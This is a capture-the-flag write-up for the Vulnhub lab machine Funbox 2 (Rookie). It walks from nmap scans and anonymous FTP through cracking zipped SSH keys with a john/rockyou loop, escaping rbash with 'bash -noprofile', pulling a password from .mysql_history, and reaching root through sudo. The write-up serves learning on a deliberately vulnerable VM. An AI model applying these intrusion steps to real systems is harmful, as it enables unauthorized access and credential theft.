Funbox 2 (Rookie) (Vulnhub)

ip of the machine :- 192.168.122.96

```
~/current (4.086s)
ping 192.168.122.96 -c 5

PING 192.168.122.96 (192.168.122.96) 56(84) bytes of data.
64 bytes from 192.168.122.96: icmp_seq=1 ttl=64 time=0.276 ms
64 bytes from 192.168.122.96: icmp_seq=2 ttl=64 time=0.520 ms
64 bytes from 192.168.122.96: icmp_seq=3 ttl=64 time=0.183 ms
64 bytes from 192.168.122.96: icmp_seq=4 ttl=64 time=0.574 ms
64 bytes from 192.168.122.96: icmp_seq=5 ttl=64 time=0.190 ms

--- 192.168.122.96 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4064ms
rtt min/avg/max/mdev = 0.183/0.348/0.574/0.166 ms
```

machine is on!!!

```
~/current (0.667s)
nmap -p- --min-rate=10000 192.168.122.96

Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-24 00:26 IST
Nmap scan report for 192.168.122.96 (192.168.122.96)
Host is up (0.0022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
```

Found some open ports.

~/current (7.226s)

```
nmap -p 21,22,80 -sC -A -Pn -T5 192.168.122.96

Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-24 00:27 IST
Nmap scan report for 192.168.122.96 (192.168.122.96)
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5e
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 anna.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 ariel.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 bud.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 cathrine.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 homer.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 jessica.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 john.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 marge.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 miriam.zip
| -r--r--r--   1 ftp      ftp          1477 Jul 25  2020 tom.zip
| -rw-r--r--   1 ftp      ftp           170 Jan 10  2018 welcome.msg
|_-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 zlatan.zip
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f9:46:7d:fe:0c:4d:a9:7e:2d:77:74:0f:a2:51:72:51 (RSA)
|   256 15:00:46:67:80:9b:40:12:3a:0c:66:07:db:1d:18:47 (ECDSA)
|_  256 75:ba:66:95:bb:0f:16:de:7e:7e:a1:7b:27:3b:b0:58 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/logs/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds
```

Found versions of the services running as well as anonymous login allowed on the ftp service.

```
~/current (0.019s)
cat welcome.msg

Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server.  If you have any unusual problems,
please report them via e-mail to <root@%L>.
```

Also got a message, along with many zip files.

```
~/current (11.967s)
unzip anna.zip

Archive:  anna.zip
[anna.zip] id_rsa password:
password incorrect--reenter:
password incorrect--reenter:
   skipping: id_rsa                incorrect password
```

So, tried to unzip one and came to know that they might contain ssh private key.

```
#!/bin/bash

for file in $(ls *.zip)
do
        zip2john $file > test.hash
        john test.hash -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt >> passwords.txt
done
~
```

So, wrote a basic script to actually get hash of each zip and then crack it using john.

```
~/current/hashes (0.029s)
cat passwords.txt

Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
Loaded 402687 password hashes with no different salts (tripcode [DES 128/128 AVX])
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
catwoman         (cathrine.zip/id_rsa)
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
Loaded 1 password hash (PKZIP [32/64])
iubire           (tom.zip/id_rsa)
Loaded 1 password hash (PKZIP [32/64])
```

Got password of the zip of two users.

```
~/current/hashes/ssh_private_keys (0.023s)
ls
id_rsa_cat  id_rsa_tom
```

So, got two private keys.

```
~/current/hashes/ssh_private_keys
ssh -i id_rsa_tom tom@192.168.122.96 "bash -noprofile"
id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
108(lxd)
```

```
~/current/hashes/ssh_private_keys (0.82s)
ssh -i id_rsa_tom tom@192.168.122.96
rbash: line 2: command: -p: restricted
rbash: line 2: command: -p: restricted
rbash: line 11: command: -p: restricted
rbash: line 19: .: /etc/profile: restricted
rbash: line 21: exec: restricted
Connection to 192.168.122.96 closed.
```

So, tried to login with ssh key of tom and it was showing restricted shell, so at least got a bash shell using "bash -noprofile".

```
tom@funbox2:~$ cat .bash_history
cat .bash_history

tom@funbox2:~$ cat .mysql_history
cat .mysql_history
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit
```

Saw in user tom's home directory found bash history and mysql history files and then after viewing them found the password of user tom.

```
Matching Defaults entries for tom on funbox2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin
n

User tom may run the following commands on funbox2:
    (ALL : ALL) ALL
tom@funbox2:~$
```

User Tom can run everything.

```
tom@funbox2:~$ sudo /bin/bash
sudo /bin/bash
root@funbox2:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@funbox2:~#
```

Got root.

```
root@funbox2:/root# cat flag.txt
cat flag.txt

   ____  __  __    _  __    ___   ____     _  __                ___
  / __/ / / / /   / |/ /   / _ ) / __ \   | |/_/               |_  |
 / _/  / /_/ /   /    /   / _  |/ /_/ /  _>  <                / __/
/_/    \____/   /_/|_/   /____/ \____/  /_/|_|       __     /____/
           ____ ___  ___   / /_ ___  ___/ /        / /
 _  _  _  / __// _ \/ _ \ /__// -_)/ _  /        /_/
(_)(_)(_)/_/   \___/\___/\__/ \__/ \_,_/       (_)

from @0815R2d2 with ♡
root@funbox2:/root#
```

Got root flag.